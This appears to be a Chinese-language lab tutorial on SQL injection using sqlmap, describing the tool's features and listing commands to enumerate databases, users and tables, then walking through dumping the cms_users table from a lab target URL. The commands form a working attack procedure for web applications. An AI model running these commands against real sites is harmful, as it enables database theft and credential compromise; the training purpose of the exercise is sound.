SQL注入攻击是一种常用的攻击网站手段。受影响的网站系统: ASP+Access、ASP+SQLServer、PHP+MySQL、PHP+Apache等。
实验原理
SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
SQLMAP支持五种SQL注入技术:
(1)基于布尔值得注入,基于时间的盲注,基于错误的盲注,UNION查询和stacked查询;
(2)检索DBMS的会话用户和数据库;
(3)枚举用户、哈希口令、权限和数据库、表、列;
(4)自动识别后台账户的哈希口令,并通过字典进行暴力**;
(5)当数据库是MY-SQL、Postgre-SQL和Microsoft SQL Server时,支持上传和下载数据库文件。
SQLMAP的基础命令如下:
sqlmap -u “注入地址” -v 1 –-dbs
// 列举数据库
sqlmap -u “注入地址” -v 1 –-current-db
// 当前数据库
sqlmap -u “注入地址” -v 1 –-users
// 列数据库用户
sqlmap -u “注入地址” -v 1 –-current-user
// 当前用户
sqlmap -u “注入地址” -v 1 -D “数据库” –-tables
// 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns
// 获取表的列名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump
// 获取表中的数据
第一步:使用sqlmap命令进行SQL注入,获取数据库信息
获取数据库
使用命令sqlmap -u http://远程IP:8083/show.php?id=33 -D cms --tables 来获取web服务器上的cms数据库中的表信息(命令中“-D cms”的意思是指定获取cms数据库的表信息)
使用命令sqlmap -u http://远程IP:8083/show.php?id=33 -D cms -T cms_users --columns来获取web服务器上的cms数据库中的cms_users表中的字段信息(命令中“-D cms”的意思是指定获取cms数据库的表信息,“-T cms_users"的意思是指定获取表cms_users中的字段信息)
使用命令sqlmap -u http://远程IP:8083/show.php?id=33 -D cms -T cms_users --columns --dump 来获取web服务器上的cms数据库中的cms_users表中字段的数据信息